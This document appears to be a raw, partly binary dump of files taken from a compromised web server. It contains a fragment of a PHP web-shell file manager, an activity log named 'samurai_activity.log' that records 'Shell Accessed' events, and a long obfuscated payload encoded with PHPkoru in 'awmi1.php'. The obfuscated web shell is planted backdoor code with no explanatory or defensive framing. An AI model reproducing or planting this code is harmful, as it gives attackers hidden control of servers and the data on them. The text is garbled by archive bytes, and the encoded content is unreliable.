'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) {PK@em\ϙsamurai_activity.lognu[[2026-03-13 08:09:34] IP: 216.73.216.181 | Action: Shell Accessed | Target: 216.73.216.181 | Status: info | UA: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c [2026-03-13 08:52:49] IP: 57.141.2.51 | Action: Shell Accessed | Target: 57.141.2.51 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) PK@em\~:>> awmi1.phpnu[ [PHPkoru_Info] Version: 1.0.7 Website: https://phpkoru.com/ Online Encoder: https://phpkoru.com/basic/ Developer Website: https://aponkral.dev/ [/PHPkoru_Info] [PHPkoru_Code] RHJDSm4wT213ekVzcDZSQVNpU09rcFc1QkdZOGo2OFBEWHpZUk85Tktpb0tLTkNvdUhITm1icXZkeFQxWktFN2swQlF0YVFzQlZMZWhvbC9pZm5hNlVLWnRXMkloNWZaMmdRUkt1ZGhhSjdLR21nYTdtVE5yVHNqeTgzRUdlVnJGeUFWbWJ2VHBaSTRFZHFGaCtneXA5M3loWWNqZ3czaDl5VVF1TFJQc2N3UkJnQjdkT2J1VGxhcUlBTUdyRUVOL09ZQmNjWDRNcFpwWUwrckJlSnA2M0xvV0dyT2IyQ1Azc3dBbDJCdllVYTNvMWhaaFdqcEQ5RWkrVHhKNVZEdlVXcllDRUIyMXBndWNqSzRseFhKUnFrMDVTRXVoQmZNVWFFMWtmN2l2RGZzYTR5eTBOK2xZM1IyVWx0aDlXZGpSaFlmUGZ2VWRYMUtPRnRxWk43Ni90VEJ1ODNtM1hiMkIzV21DcVhscVBMeDhKblZzWkttRlh5MmYwdytreVBzREFla2tBZ3JaR3Qxd2xqTk9IQ3lPT1htekxxL1cwWnFaYWNESDJIT0tob2RuWGtTNXR1Q1FoTE85a0VDaUE1YlQ1ZFhCVkdhakVHVVdkUFZsN2lEZ2FQbXN5TEhxaHZYOVNPeVRvK1FLOG41OS9jRzEyWHMvdm1pNnhrTnNZdm8xdW0zdFZIcnY3Z0lnRE5XMGgyWE5CT0I2ZEpzSTdrUm5hWTdvbG8rVGxYUkJYYXA1bHg3R3BtTFp1RHpoYmIrWW12cWUwMDFYam9RQXpGOW9QMXY3cFNHS1E0MHFSbHU4SHBvTXY2MkdUZC9jWDRSTVpONTdQNmhqL2ZKbzAzYzFWQURjWWFiZVlDVGxXSThCVnFIRzAyM1RoNmhUalhYdHh3YjRFUElZVURjNm95VmJrc3JXdnNYaVFwMjNpTE5ZMUgrZ2d1enFTcnJNaDZGN1lGTTFHTFo2WXNYWFdxUjF3Y1ZxcXQwbWFoNmxESG5PdkNqUzRwaHNkSFZFVDJ6eXdMZjFMcWlaeXFCakFoWEw5STNqdjAvd2tNUnBJb3RLWkF2VXB4K21DTzd2Nks1WjFSUXdKVE4rMWd4VGNUeE5Qd1VhTWZtRTZKRk1MNjBHUTZnSkxrajlkaHFOTVp6YkFqeDMxemRaZEJyNlE3aXJVOGYwdUc3cE11eG53clBZSkY0YWxYb2lUYU45NEtiM1lNb2lyMExPNVZXRkc5WWZrbENhOHRNSGU5eFNnV2tWeTJlbkhOcm1vNVRhckIybUdXaHNpOWN6cDNMYlpIVlVSVDUrUjZVSHlIanNmNjlBUFkvaCsxQlVJSmxjS3RKVnVZcWs0WUc3WlV6OG1qbDczTlFlN2NyQU80cittUXd5ZU0wNkhiZWd2N1YzTFpacnpDSnZsZCt2b1YyTFlPQ2dLbzRuWTFHSDFoa2xmVUV6d0tpazZDbW1sWWlhTlh1VjRNQ1cxNDBHaWZjNTdObEw4UVkzRm5uc3UrMmNQc01TMXNNeENtdG1mK0hhK0xpb0I3ZklMVVdPWkptL2JzTDJVaHRScEE3a29SV09rNSt6bXJTK1YwRTQyaVdoRTN5bUMwVE40M3VYQkNTdlhXcWNlemt0UG1PYzhGOWFMN205TDlvZU9LSDlOK3NkcW5vbjNVMVcxRHBpVjlDNXRCcVZuNy91d01aNVptTkxNUkV4UHl3a0o0WHdFT2wvaGFPMituc2JiZVVpSEJiUjhhU1UzSWJXdHhwelhmTFI3by9Fc2JpQytLUFY0VithdUxjOWZXN3hQbUEyOUhMTi9YRnFVMFo1RlVUQUtVVXY0T0Jpd3lVN09tZmtkbktha2trUHdMbTVGT2JaeWZQSVdKdDlHblBXMktnR2VDOTQ0M3pNVy9teldHczVWU3NLK2JPOXcwZGN6TE1nNnVkM2NuaTBPLzJnaUZjRFNFU3dtR3RUMG5CUzNuNGo0Lzl2dGZndXRaSFI4QlVSOHZmeUhaR0VqV1hRSm44WnBaOVYzUXJrU3p5Z3BGNGJ0d3d2YlI5MkJuTXBpQmdGTmg2eEUxb2VNajZ1UEcrN1lHdU1NTitaSVh3OGxmcldFWWgvd1QyNS93RnZoQ3QrbUkxejVaSnFKYjBHVUJmZURFdGFTM3Rvajg1L0c2OS9sQ3lZWFpaK3B1NDBVeGRhR1NrNGFWSlNsOEZZZUk3WFJxbzFTKzVLcGQwakdnWWJHQWdRRDBCOVc1VFNOM1lmMkh1aTN3bVlMS283UjVwejJ3bmVsTnRwRlpGVW1MOC82cTExdWp6cXU1UGxRclpqVTZCN1JMYXczK1Z3NUx3WFpmOVdhRy9kVVdLc1RJOGhPUW9rUXhnOTB6d3JiY3ZOWWZJRCtGUWVYOEU3WXE1S3dSMkhHc1Zac0FiK0EvMElLRzVXR2JueGwyU2VrUHJRQlZxSzdJaXFzR0RubW1EM0Zya21vdVRSZStHaHhudi8rcEU0K0dKemUxOEdNc3ZKS2JEelg0cXkyQSt0ZUZOcEg3UnR3Q0JjSkdvRzZtWmNzQXpQQXRCcjQ1YWxyZzNqai8vWUNRNlY1elMwN1lxSDdOQ2tEYlloeFJreU9Zaytvd2ExaVNCWGROdUFuckRTeVlwNTJ1OU9naW16WU02Q2g1dlBjcXJOL0ZaeXZ0YUNnRGxJSjk2Zi9lSTBRL1lmc1g4N293RmVXeFo4Q2x4QTlEYnlSdThDVWZhNXVMOE1NVU80VXhCR3lTaFRhdG1CZmhDNEZrVUQvbkxzV0lOVFhzK2psMXEyNEkvdmJpQlhXRExtTk4xcHN2ZEZ3Z01nN29xa1AxYWx5cDFtYXF4bXdQZllVL2pYN1V4bWxJVjdJeTBCMFRwWmVEbmxmNXRRaUpURGtIQjdUL0xmRC9pOTZDcGZYT2RLMVNCTHZjL0F2TCsxeTNrZVF2N3ZGWXMxYnJSRUhCM21SZTU3dHJROXRQVTZsUlEwNXdVcmZ5LzM2cktnWmcxclR5aGppSloweWJYNnd6em4raS9yTkFab0F4MjVOTXY3VzA2UURCZXprZUF5cXBDUS9GVDBFVWxSYVVwWm5wQkdrV3U1RzM5alc1dWswNlhkdDB6Q0VUcTZGM21sdFBrSWNNZndSbkJEOThFSThMOGR4YTBSd1BTZDROcmY0VnN0WmpuTk5JYk9YY1ZGT0xVMFd3VTNSSEtKL0xTalVmVytwNU8vUnlJWnFUYTQvN1FkU0N0bEVyNVd4RHVSdlZiQVJpNWNLM1hIMmNwYlRWTTRva1F0OFFtWkxJK004SWozMTBnemNEbDZPYWhTMktpeEUwTWFiYVpmRDVxUzEzSHJXUE15SmZoa09GdkZnd0VoaFQ5Q0ZpWWpKOVJMZ0hxZWJzdXR3Y1gwRHdEcndndUVDV3BWWHdqd3pQTWN2b296N0FRUGhzN1hHbmNqS2UxMTUwbTJFclhQcWVGTVYzdGdzY0dOcUxGZTBDWnlpQUg5bC9oZlBGSzhNM2xOcE0vNUtKNHc1QzNHZkFSN2doY3oyQ2h3TFE4K01rREhyNE1qVk92Rm1PYUxNaXpreE9YaU5CM1h3SnZjUnZ5WkFFY3ZtZG94TThMcGlmcWJKUm1ya2V2L3UrTWlGREhPRnB6QW1vV1JlMllGZDVkQ3J1YU04cVV2WXNYSWtwaEVsOXlMYk5vcTdQdlRyUEsycjNTWmhUL2UyMGo4UmhxNEhZUGx1RmFrY0FqL2JZUFVLNXBWUG1BQ1RyL1Z2UDJCblNnOS9IYmlXbmdMZHJ6N2JoRGhDTlJKK01UTGV2aGo0RnNSNkVKeGo3cVJSVVA4dmpoOVVOZEFUV0wzNE8wUkVCb2hUL081bG1KTitJQnJVVmFidFduSFVtMGxHYzV6MjZaTTZHNjloMGd6YmZuTU12ZEcyZXcxKzdLcDVIRi8xRTBOTkdqMmh4L3ZvSWRLcFVZNkNORm1VaEFsWjBBWEx1N2lMWjZYeklqeEhsQVRheGlVQTQyZ25hcWlFWEpUZTlNbkVDcmhaczRKVDAzMFZSaXVXNEh0TEZ5UGVxNW53UkVYVHJrb1BqSlMzaDdyNHYzdHRLMmtMY2RnaGV2NThQNWhsTTFudnFNRS9GV1BaMi9YYjZDMkNyWUpCTEgwaTR0M0tpVFBoMmlFNkV3RTRkbGZETS9nWmVqWHpyTVIxSGxQWEkxY0lOaUh0QkZRRWxJYW43WUhqOG54VGY4ejNUMHZSWVN3ODNoRzNoamQvT2pMSzlsRnNVZ2RiQkZTem9yQ3BRclpzaXRsLzZwU1NLQWlVeS93Q2MxWmtmSmE2cnRmMXQ4cEt2OGlqMHZDV1FLY0VhcHNsdjBQbGVoTUN5TG8xYlhXb1Y5MDZHMmt2N1NHS1pEY3E2WHdOdzMzNlh0Rm1sMTRPVXNnbUZYSEVRZEVoKzh2T1BBMUJlbU9BZGlOYjQySmZWWVlEdENMOVlrZUsxQXlwWnh2cUhnZWJ5Q1o2c1BERDFZNnU2c2J4TDh0TzA3Qkt1b1JMczVMYXhWb2UwYllzNGlqZlhuU2xmUmNVd2IxQ0FEUVBxak9lbEJVMW44Uy9OVVBUTlZvMU1JdUlLM3p4WUpjRWpzMWRxTXVkenRtYUlkWWxSRUJyVkYxZXJYdk5tSmVaaG01KzFSVlhxMk5GSS92Z3dxUlRMbHFxcDN6ZVExbjlzaitrbHRkc0xWMWpybVN3R25pT2NrdVZkcjF6MjBUMnhpQTFUQUZoUzBNRWRLelpmS0JYTDJ4SFJqc3dOZFNLek9nTTFXK2M5SVZHOGt3SjFVSi9YemR1MFQ0SEk0R0JDdTNFeUtDNGo1VHByS2hyVWNQTnY3dmIzZnppaGZKamdIOE1NcGozcVFkZ1lHdmppOXBZVEpRT1BrNFhocDNKVkhMTzZHcFU2cnpCUXB6Y2VpQUZIaDhna3I0WXlBUE9qUE5NaWhDcm40dnNGUGVHQ3BYZWFKVkQyREEyUE96N0NQa3oxa3g0L3BZM1B3RVlKZVhSQUxXNTBXQmdjK0RuNGV5dzNtMk5WeWdBT0xLV3dtUjRXMjJON20rQ2dtb3g2Znk3TkUrTWVqWUdtalBxQllGSjNta2dtMTZ5QUR4QXZWblV0T1JGU2VwbkNORGptbzAzaEs5cS96c2VvMG9YRnZXZjBxeEgveXo3YUVGSmJrcnBUbnlSZTFndThBZnNUc2xBb0xxRVF4VU1PWG1Edk9zMWVGajNsc1A3UVllYS9zNlg4UG9UelRZTzlPUVFYQVJUL0ZUMEVnVytpR2lCWEhQNUF3ZXMyeVVqQjMzQ2dOMUZBcEVocmdwTTNTUGwvSXp2eUpyeTBDUDRtQXFSclJRY1IvdHRUMmJjNm1MUUVZMmdoU0FEa1dIVjZZZ0FQWUZBTzZyOFhzWmZ2a1hpcExvNmxoTEVNNjdDejBsbnZXQk9KbnpNcEdKdWxGQ1lmdGRGNloreGxMR2hyOGo3dGk3ZlptWmNhU1RnZEdmSUtaSkF5TEVjRklCVXhvb1dNOTFSYjNPUnYwdUZzTEhHS2Zia1dDNlREQVByUExodU8wNEpKTFRnazRyelY2Yy81ckcwYUtxMS9HLzYzRTlKMmZvV3RwTGVscjk5V3VuMEQ0ZDliYlZtQll3S004b2lFYlZXdVMvRFI3RzFkOVE2VW5ad0dOZW96amlxMlU1TDcyb3EzeUdOYmhTQVlPaTRwdHVLMjZIc2p2UllDNDB2MURKdW1ZamNWMGYrd0xzRUZRRXozeTdpTUx2VkZ6d0tLckpsNEE5Y0Rrd29JQ0R2MGhmYnE0S1FtNk1pOS8vaTJVcVpGNzZlZnMwWFhsSENZT2dDYzRsQlpnZmtzVlg2VjBsUS9sSzhjMDdNenNWd2hmeTRwZnA4Y3hWY1paRG0wNkNaZkpBVW1mODhCSWFOeFBIeElNYkdvckZkbHhDdEhsTXdoYXZtVU1WRGZXcnVxTkNlNEprU0FuejlxMnY1cStIYWlmeDdneVMrWUwwMjEvc2tyWmVNakJSV3FSOEl5VnF3THVDbFdUcW1IZmJOb2tXdVZPSmkxd2kzL0l0ZTJlTFBsbjhyS2hZVms4UTJlcGJYR0xiU2xmQzN4YnJXVXVSbGY3LzhpS3NzQW1Vc2VTTndrYjZ2ZC9hOCtvbjFvRVdyRFJveU1vYzFsRUt3UTFTZitYV29yOWFzcnJYcEZwMUVkZ21zMEVzOE9nUEJzZWFUbHk5TEYyU1I0Y2dycGxrSk5rOWNSV0NoTC9vUTdnKzVYV0NMUVkvQkJhQzlxNVhXeVpsMFBiR2pxOFNGbjhPUUxaWVo3VjVxeXkrUytTdC9kVEtzdERLaXA0WkRDWHh5Rk0rc2l3UHI2cjBDUU9ibUFSOUdMMjhuNysrc3BHYlQzRnF6WU4xM0ZPYm1Fa1VzZkJsU25TZGlzd2d4R2s5N0JPaDgwL1ovdzg3bmV4TytSaFRMVmVvby93dnk3MENxdmlnUldlR2hyWW5lS3RGd1k1b09QU3NWMGE2SkFMMmpMUEt6R1JBbG9xbmJqanhTUFBVQkxIcmUyMU1MSk03c1dFZVlMZXJRR0NtMklVR3FsdWhpSzlFRjhscEpMLzNFU04wU2pXT0VmS1o0MGJXd0pkS3Rsa2N5SUZ2aWxXVS8yQ1RwbnVSK1FicVVYUWhxcy9VQVZkeUNoWHFRbWtPR2d1cnFpc1hlc3F1ZUdVUU5BcTF5Q2pXbUJuQllqeGZaT0pnZDdDeU42WTI2b0ZrR21uS29TQVhaU0NiV29yaFIyaUxsaXRGeWxvd1AyS0luU2llSC9OSWUvbkhBdEJuektoMHlNQUdxT09zMWlxSHd3eW5XNGFsalZpUDVtZER3WkIzcHV6V2ZTYml1R1Q4TVFjVU0xa2hoYlVIaUdGWkxHZG50TVJNbEtHdGpOcEJ4WEtGS2RLcitycmV2T3Vla3RzMzRFVFVwMkpTcG5qVEdFQy9WbmY4Y0MxTytvaThNbXFITnoxTFU0Ym81cmwvOVJFWnNQNFRxWGlKM21kSmNCQ2FGRDQ0OG45RTFWbWVNeDZVYzFES2lveEpCdkE3blo2VG1PTzlDOWtGNkNCZDVnR1dON2lqdWxPWnJPaTFLUHRLUklpL3cydFVXREM1Zy9ZZFdTOHZlc0RiRVcyMHc2cFRBeW9YcmRlbTlXamZDcVhTQWdlb3VUT1hnTjArcS9KZUNpa3BTRm1aVk5BKzMwQ1hvQWt5YUZOQ1J4MFVBb3kxYkpCc1MwSnNJV0o5dTg3T3NQZjJ6d0UyZXFKaUd2Ylg2dWJ1QS9CRHZOem9oTXJZNEtVenU2Qy8zNkVwMndwQkFOUzBvV0JwT3p4NEdQNTdTSFFJWHJmUlBKMjJIR1NiRmFYNjlNTXprU3cvWm15OVdsdlZtQzRHbFJnZVNzR0lzQm9tVk5OU0dkRVpvTEJXRFVvaFFFWWpSMlNwbDlDQVJRdit3Q0hlTFBxMThKRGpEOG9RUWEzcEs5bXQ2UEoveDJVWDR0dmtGUUlCb01pbVJYUElWRktRaU1kZkREZW1aNGJpeG44VTV0U2pySXVqTzZ2WmxMWkx4czhCVlhUWUptaEhsT0FXVDZHcDlESDZjTnNtQmFHa25OUWlUVFVYV0tJdkNGY09vQkFvRmpvNk1CRFJqY1BNeHNSNlgvRjZWUFE0cm5TZktJWFltNnZIWld2NklXTEJNUVIxSnJVREQ4VHNha1lFR3JuZVRQbk5ieXk1M05vNnFub1dxdkxCNUdJa3JLV3dMVHhkTHBiTCt6YmhNbWVtUmtxMGdMNUhyYll0a1ZkcWRDRGw3NzRwL1FiWXNHUjlLd1dCT1FqMlNVaERoR0kzNTlMUi9uTUZTandtdEs1YVAwOGdWelI2c0tTVVhYTDh2YVV2UlljUU5SNkRublFjYWlSVWdyU1hrY1cyN1NlZU1rS2VFU1BzcndRMm8xSG9LL21yQklTcWM2MXFzZ21yRm5VaDhNd0hZVU9wR0tDZ0VOaFVlK25rV29ZcmlrN21XRHRXTjFBYUhYRmpzNkVLYi9ibE1tbUZsdmFNc3FLQmZER2FXNk9jc2Y0OGFTSGpBbmVnajk5bjdWVWxZaE0veThzM0hhbkh1TDIvL3VUeHArc2d1SGlMcHNYVjVRM3hKZi9pazRkWG0ybmVySTRCeDBZd0ExMVE1MWVhTFhRQmVtZXJsVFlMR1h1dFc5YTd0Uzl5cVZCcU13aXZwM0J2djhPYks4cFkzM05GaThCYW5TQ244V2ZoREhGL01SamlYOFdKREpxWmlDYXNSeWV0OXArNDM2YmkvZHplSE5jK3BzNVV2Z3VLZk9uRUdoTzRuWHpZU0VQL3I3T0Y1SVNMRVgwa2c0Zm0wOVpPYnVoTDFJTWIzOFJKWHIzdmJRQ2Z1Z0JTdEpVWnFEQlZaZGNIWVYrc0RpaXh0ZFFXSU4ybXRLQWFYb1BPWkxyVjNNVHJyN2h6cVUzdk4zSUZ3aFNBL1RZK2RJYlZ2WjZBWDhra1VGdEpLRE1ZcWVnSGI3M0pPaDNER3hxeHVwc1FTay93V0FMamRIby9ZSzRISHowTGVVbVR2K0pLZTdvZ2ZCdjdDMC85T3FuM0x1VFdnM3g3akpNOGgwVFhuNXhrZHRJWHJCem54WXpUeUxydnMwWUpwTE1YWmlwZDZnK2xMaTdHYTVNZkt5blZLazJpNEVxZnU2d1BsRFBGb1loSEdLTFdScTBvbFY3WmRIRVB4cGtPalhxbXpWYVFRL2J0cTRidWY5WmNrVlVhUGt1Wk1WeXNnR3JBOCtXUUVpZlhLU2xqMW5XRUtDd1JQc1U4a1BHTzRDQVBkZ0lPVnhjRW9UVGFBNTFIUUp0cGUyemdYbTNNNmhCc01FdjRJQzE1ZUhtd3l4cHFrQU5uVVlvOXVwMEdqRkNlS0ZGRCsxdjNZWGdrb212czN6MHkxQkVYZGZUT29yQnFzRmc4WXBDQzZUQWprNHRuaTdYK1EyakJ1KzlOS0dGUDRQVG5hSFN3d3c4ZVUvUG1EcFhFbFlheFV5WWhseUZxNVg2MjI3bVdKSi9Zc3FlSXpvei9QMUtYZ25JRmtxNHBJQlAzZXJsMWc4Y1pjY00yc3poa2lWNHdTZ0RFckR2TkRJSk5UbHhBbCtGWU0rMHlsNHNDL0oxMmpvMlE3K1dqdUFyOEhCdXpMOCthbUZOc1JhbWRDZ0FoMEZXTXFUalhSeGhsTExQcUNmbStRWXA4VjNYSW1uRklUN2FyRmlOdCtKU21Ea1Z2dWY3YlZQenovTjJNUmNKMUc4cWJRRWtrUzhHYVk1NEQ4RUhoeFZuOGltWENzb3crSlJaMjFnWXlCZ1c2OXA1RHRNLzJWQ2RSS09zM1lUSW5iOHFGSTFyVHdYM0E2MzBHYlFTQUZ5blV3M2ZtbHpqWW8wMkg4Y1drN3lmSWQ5b1Zud1U3U2pHeVFFY1hNZWFhYTVFM1JLZ205SjNDVnh5WStMWVM3TzA4MEcwV3N2UWoyS2RrRmZHSjBaSDg2VXlsdVRJclVCOENlWHd3QlRJKzJiSS9MMlVqMzIvMFZ3NUUxQWxzVHgwME93aERCNVV6K3g3YzU0VmRJS2RxSitPc29wUktnMDdJdGJOSUxPS253eFptUWkvRXRaU2hFeTFlc1NCRVgzak5zVEduZWMyeGF3akRiditYTFdkQVJFeVp1WWIzTkNFbHpudmlZQ29TQzRCR3AyRWovemdaVHpUUmV6allIUXB2UW1SS0U4MW9sdHRSck4rakdLYWVkY3lNbVJwem83U2VubUZQb1NBUFpjSjZtNkpoZEtVWG9ISXB4N1N0a3NDd1hpRk1YNjNlSk5zSjBDNlpHS0g2c0thR1IrbHBKaWNXUHNhR2VzcEljcVhUWEMvZHBITVdKdkJzbHI2bEJhZDBjMTE2SFVYUENyRXMwTUNwWTEvRjRVNVdXS20wQ29IdVU1VCtwNGZ2c0UvT3lDTDRqK3hiMTFXTmxsdHY4dHZWVVZJM2hZY3ZGbWloTVVxMlBNVG9OQnVlUWwvTTFuVzZVdldEN0djS2pvbUVmVTlXOXJkWU5TQ0tmc1U4VlAyTTJ2TG13UFVMTjBtemRjMEJMTWpyUVNxQ3grUFZOZ2trbWptVFVxdDZ0bkVvR0RDRTh0em1kV005bVdWMzhpb2JFeHQxYnFRZll0R0NLZm1obkRVbmNPdHJMclE1U3pVbnpjbXZGZWk2YitkZUh2ZWd2MXhXdGFhRElZSEtrNlZGWVVHNDZPVld4bTNIaUwwcEZ6VTdveXhVRWl2SEVLZlBwbFlOOHNSZDVuemNXeWc4eTlwN2F3RTlWRVJ3S1ZkQlhDdnRTNkJQYTJxL0VRMVUxYngrRVg3eFBtU2EwZ2w5QytqdTdWUk5QUWQzTjg0c2F4NllpQUNIVm1TZnd2VWg5Q3pGTGcwTFRUdEI4YmQ0L2dUSTZHMzFtUDVUWkoybUdpZ3lUMGdDQkcxZ21oUEIrYzRuYlhuUmttay9JakNNKzBXNmtlakc2MzJEUEkvSUZ0ZUV4TEtvZkxXS1VyNzc0Vzc3T01JTjZCQTd1R3dHdjc1cTJjbytaU0VoYStxV3RGVWdQLzVCM1VNVHUwbXhxcTc1Sk96bC9iaTRwTEhDc1dMSVZxM24zblZDZ3lsVFJsNVZZZitXL1F2M2VlMUliTkxIbWhFK0dwaUhWUXRGM3VCblVwYk1jNSsxY2JwTDdqNmN2T3dhR0FaRk03bEZJQkEzWk9SbHBSQVYwUXdZMlBNc0pHSkx6elpPQ1hpRmlNd295ZGI5ZU42MlFCT0pEOFQ4TERNS3NuRzRnM0pJYmFXQWs4cjhjR25IOCtxUFNVSG9IdFFSRFo5eERVcDE1R2ZxNGNnbGxSVXlYZ3UxNUhzc1Z1SkpQWHJyYlRJcDZLaFhGTWdhQmNCblRoQW9WdWRKcDNCTnR0NVVOVEZRSHRBeUZ1MVIrVmkzbGpFR25acEp1ZDZLdVdXWHEwdEhJWllEdURDMjlHTFpyL1E2TzRDcm5JZjgySm9Pdnh2MmtiSXJVUjlXNTRZdVdVakc4Z2hQYWJOdEh5QVZ6VkViWUYrN0RjSXI5czJDbjZadDExVTNxemJLQUpZOGxxSFBocGVSSXhhTy9vZFE5S21hSlp3eHFSalRTbGtJZktSTFpXNS9zVjlBTnliQU9pMjI5bmZHc1lIbWc2SzFtTWhlbWsrS1JRRFpZSG5jZFFvT29DU01ta3pld3BKVVpNSjFRMTBpRDBDYXFYWWUyNmdiaS80UlZkMUQwbktLL3hZb25hMXdDc3FVQnBLN0RjK2d4UXc5RUtMSXZyUXJjRHJRbFlqdmNDTWlqWE1GemRROXBlR3BBUVBUYjBSbnVMeDQzSjBqeEtlOUNRMHVPbG0ya1B3elhhVDdiMTU1SVl4blpybHE1TXdHYTdnVlladStLay9obWZrNG9qRWlBa2owQ1NScDJFbEFpaDBJYkROc0JkeFlqWkIrTGRjdXc4M2UreEl3WTdEQ2JIRytlZkYrb1N3YUoxUkJ0Y2w3RUo4YjBYOVZoS2NFcnFxNC91QitDbjY1YU9xdk15dzdydC9SVnN2K1NxOGtZZ0tOV1MyZFdmNCt2WWpCYjMzeXNaM25WbUF6STIxTjNwdGY5ZjN5VlJsbDdDYVFkTFFhYnpPdkRnNGdVQ3E4RXVRKy9QZ0g2d2dkOWcwK3BDZjVhOUhTa0VpSDJNK1pVQWQrUUhHdnhxV0dLMTZ5dFZZWlRhY0ZGbVdwNjJxT1lsVHJkV09zbkFSMTl4UVZ4bGVSOVFDOHBFNUFzSk5EMlBwVzFtK05jb2p1N1h1MDhpLzIyMHNMbEVsYU1wZFhWUDl5cXVLUTZJeG0wbmpxQ1dOcUFnMk85WmFMU241WUh2Vk1uRFhQT2xPaXpkY2pxdHFTVTVsOXdGMHUySk5iMHRleGFjeE1jdDZjcFM3SUg4ck16SmFTT291c3VGMUlPZ1FjVDRlWWdXeU00aEcrS25Ia1kyZmoxK3hjR05tN3ZxQk56MFdtdk00Wmh6bzRyN045aC9kYXVYcm9iTG5teTJPakhtZ0c1bENVMStZV1ZxSmg5MUl2a0xCSDZhV0kxWEpiUElHY2pFQ1BXQTZvODlDYXRMQUFDemE5a2JPTmJzck4wUmJWa05oRjNSNGFJeHYvV0JtWThUTzkvT2ZMTlFGclRPSDl1MEttalVjZTRBN1pNSGdUZE01QVJQVEVseVJsUFoxWmxIaWxNYndOUW1PeXJBVUZWaXRFYXkxOWtvV2JGWDdrQytLU2JxOUxvOVowZ1lVTFE3MDN2bEZDRnZRZFdmT2UwckRmbmU0R0hkOHczVzdGYnVnbWRLNnRibmJPVDVNZFZsaFQwS21MZ1hPaCtDc0VYN1c3YzJqM1E0UW0rUCt6RVR4eU9GL0k1YWpFTFpWVWNTLzhqamFqdGZYU3lhS05JMTZEMWhmNDNKS3ZtMFM1L1VDVno2YjZjazMrT29yNlZEeXF5QkNULzJSRE9pY2NHUHhCaDhWSTMrMkFNWW15dHFGK3FzbWJ1d3QyZjlZcHZvTVNGM1l5WTZXQVU1eEJSZVIySEVIendWTDl5b3B4UTBvMCtxaE5HaDJlbTViMTlPb3oxYldlZGJJVlV0MW02cG13dFFUMWg3cXlHMUlRcVBtOEpYNVNncENXbW03ajVtZDRFWk5wMHJjZVI5UkdGOTBWS20wc3ZwdEZnK2JxaDI0cEtmTHJYL2RzTEZodEJIc1NoeUo3SzRBQUdEOWNFMG9ydG5tc0NkR0hQNkJmNEZQZnVOalNkUWE2RnFPT09sdzVUY0FzaHdVdUxJQTBHY2hWVTVQcStqaGRxNFBEUFh6cXozcXdkMHB3RHBsYys3UTUyODd6S0d4eVdvLzNiWDI0bm1SNnNHQWtndVBwSDAxL3FhZkl1V1kxK1hhL0tXeEpvbExKc3dRQXRBVlJkVkNZbWJOWDFxUm5FMVk1aHpnWGJ5Nms3Z2FnM2RmMEc0QzNSR0oxMVZTeC9YVnBUd1dTbDN2dmVlODBhUWZtNnRQcXdHRVM0UTNhM2JaR1pUclJKMFllSXEvZDl1aFNNc05rckIyTmljMHJSMTExNzh2WTVRSk93YzVGYjErZ0labHE0Z0Y3amo3cGpDVVlXTGtOZ3ZjKzB1MnN6SFlaQ0t5czVkT3VPTit2Nkh1MkZuT2tKcUZORCtUVGhOUktVUUVDZ29IMDRzUWxsR1h6SzFPUmt4VUJiNkpTVWluVVpXejBYNlVnU2VoSEdhTUZ5S3FxUkwwa2FPenpXdFVYdDhWeWtlTExiKzVRbUM0dnd0VWNDZWx6ME1oS29yMk9oVWlNdUsvRm5ac0tZaS9RbVRvTHVrWlhvQW9MYlJUK29XRVJLZ1VjNDVyekRpR3NBMVMyWjRRdGwzb3BWUVkwTUpmeDBOUWV6azlPQmhuNmNUY3p2OUpHZzg0bytqeFdyYm5YVTZOZ3VyV2JkVDRlVU91aUQ4blVmUFZPbFY5UG5GYnhYOXkzSzZSZEs0VitDTHJZNURseHFaTGJ5MlA0SEk5V08rUms1SnQ5Ly9NZ2xhOGt4Q0g5SC9MaFNMQWhBNlNpUENEcVRwMFhOZllJY1Y1Vld3aWdFUEFsNy9iWmc3Q3E1VDZGcWxPL203cTVJSXhpaXE5ZnJLMEdaeFppeGtkWEQ1eFN5UjNPKzdQVUdhTlgzbjJsOTQ1OXppWnkySXBBQjdHRDVjb04vYXl3bGt1Ni85Yys5U21mYnEzSy85dWY4ckppZ2pnUFpsaVpHV0lkVWRjV2VBR0l3OHQ4WklVSHBTYXp5cGdad3lmK3YvMWtscVU2enE1TE1RNzNoWW1vckpCMVpVK0RGU092ZktTSTdQMCtxSHJkMlhqZEhncElnQW96TTdTbXRqYUtzTEVSUGpMaDA3eVoyUFhOL3RnU2pEWGZadVRvSDR3d29PVzlsRy96L3pSZlRSU29Fbk42MDh1QVpQaFhKc3VIUnVqeDh3dW5YbTd2dWpxSmZuOWZURjRwdWMwakx1dU9hSElhUjU3L0hpSTFUeXdmT2dLN0Y1MUtyT0pieEc2V0xMS1d3ZkM3VUxwY2NzSGtsbDFyc3V0aEZBZm9mL1UwUGc4OUZKakdQTVNMaGhRWm1uOTJ1N0w4cHB1bWVOS1VNMC9oUmtMTkZyUTkxOE5oUVd2aXdwb0ZYZEJwSklIc1hOQnI2UE91U0ZtQUpQT0lXbEVWUXVCQXNhRytnR1dwVXVCajcxbW9ISVU3OGo0M21QdHp4dUxKMkFjNTVpMThrRTV0cFFtbTFybUV4UXhhSVVnSWlNQTFzTlFqTlpEZ2R1ODhMNmVGUy80UW1FaXQzSStVenppUmdOTGZFS2EwYVh4RFFmZmZwUWRPTUc2cXdPOGF0WFZ2ZUE2VU1CbThqV090NWxyVnpCd3MzMk95b3FKQkJ0cG5NWXdGZS9JYkFubUVzQmNZL3Z1RnZ4cEd1dFZJMVY5UnV0ZXY0WDhaOUhmNHJoMHpOS2dpazZIYVFIMXNSS0s4SXR6R0N0Zm45NTRPVjlQRFNUMGJJOXJMWkVaTGR5VUdUMWNQQTRVQm9JWEJDQzFPSkV6RDBlNnNybWk2cW9Ob1FuUGdGc29ZR29vMUJDelBZN2FBOEVZOUp2S2dJS0VWdTBZQXVLUHlWQ1I1UENwS1VaUlcyNGZYdmFKY2srRDB1YjZOVUlVbmtXSTJUUkV4aS9qSnpTLzVsMVhHOTM3MEg0TTFFZHZvNkdIcit5N3B0Qmh6U2xYT1Y5c1Z3YklMV29BVUJzeVMzaWdOaHFRS3FMNFFYaHBhOXVENGZTdm5aaUpYV2gvRHJqejNLQklSdlJia3VSKzk1Vk0rM3B2NG5WL3NPT1FLZEVNcVNkaTYrU1FUd1NackU5OGZ3S1RIUU5hdnY1UXdk